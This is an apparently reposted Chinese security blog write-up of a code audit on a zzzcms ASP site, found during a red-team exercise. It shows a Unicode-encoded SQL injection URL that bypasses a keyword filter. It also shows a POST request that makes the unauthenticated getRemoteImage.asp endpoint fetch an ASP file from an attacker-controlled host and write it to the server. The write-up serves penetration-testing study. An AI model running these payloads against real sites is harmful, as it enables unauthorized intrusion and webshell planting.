实战 | 记一次ASP站点代码审计的利用

admin 2022年10月13日15:42:20评论72 views字数 1455阅读4分51秒阅读模式

现在在酒店等国护开始,之前市hw的时候碰到的一个asp环境,因为相关的漏洞都是php版本的,而环境是asp,所以找了个源码进行审计下,这边做个记录

入口点

一个注入iis+asp,通过unicode编码配合注入发现select字符会被截断,导致无法进行利用

https://xxxxx.cn/web/xxxxx.mhtml?cid=1e2unio%u004e--xx selec%u0054~1,2,3,4,5,6

实战 | 记一次ASP站点代码审计的利用

审计过程

当时目标站点前台环境是在/web下的,而后台环境是在/下的,所以我不知道它前台是如何写的,跟源码对应不上,所以我这里就着重来分析后台的代码

先看 adminindex.asp,这个代码下首先会先引入zzz_admin.asp文件

<!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-siteapp" />...
...
...
...

inczzz_admin.asp的鉴权代码,getsession不可控,所以只要引入的zzz_admin.asp的文件都不能利用

if getsession("adminid")="" then   if ifstrin(getNowPagePath(),adminpath) then
  aspgo sitepath&adminpath&"login.asp?act=relog"
  else
  aspgo sitepath
  end ifend if

我发现它zzz_Content中的代码全部都引入了鉴权模块zzz_admin.asp

实战 | 记一次ASP站点代码审计的利用

这里还有两个相关的上传组件,分别是webuploader和ueditor,这里分别进行观察

实战 | 记一次ASP站点代码审计的利用

这里的ueditor引用的是webuploader组件

实战 | 记一次ASP站点代码审计的利用

因为这套zzzcms在安装的时候,默认会将当前的admin目录进行修改为admin+三位数字作为后台目录

这边的话发现的一个文件是webuploader下的一个文件,admin468/inc/webuploader/config.asp,直接访问的是可以看到对应的后台目录的,但是前提是需要知道后台目录,所以没有什么多大的用处

实战 | 记一次ASP站点代码审计的利用

因为我当时的目标站点是被二次开发过的,空的话则代表默认根路径就是后台站点,实战环境下所以我这边/inc/webuploader/config.asp

实战 | 记一次ASP站点代码审计的利用

这边发现webuploader的adminincwebuploadergetRemoteImage.asp没有对上传组件进行单独鉴权操作,如下图所示

实战 | 记一次ASP站点代码审计的利用

http://192.168.4.149/admin468/inc/webuploader/getRemoteImage.asp

post:file=http://192.168.88.165:8080/en_moban.asp

实战 | 记一次ASP站点代码审计的利用

回显如下,可以看到对应的文件名

实战 | 记一次ASP站点代码审计的利用

可以看到已经写入了,如下图所示

实战 | 记一次ASP站点代码审计的利用

实战 | 记一次ASP站点代码审计的利用

推荐阅读:

干货 | Github安全搬运工 2022年第十七期

干货 | Wordpress网站渗透方法指南

实战 | 当裸聊诈骗遇到黑客,记一次新型的裸聊诈骗渗透经历

2022年零基础+进阶系统化白帽黑客学习 |  10月特别优惠活动

干货 | Twitter渗透技巧搬运工(四)

点赞,转发,在看

原文地址:https://www.cnblogs.com/zpchcbd/p/16500519.html

作者:zpchcbd

如有侵权,请联系删除

实战 | 记一次ASP站点代码审计的利用

原文始发于微信公众号(HACK学习呀):实战 | 记一次ASP站点代码审计的利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月13日15:42:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 记一次ASP站点代码审计的利用https://cn-sec.com/archives/1346050.html

发表评论

匿名网友 填写信息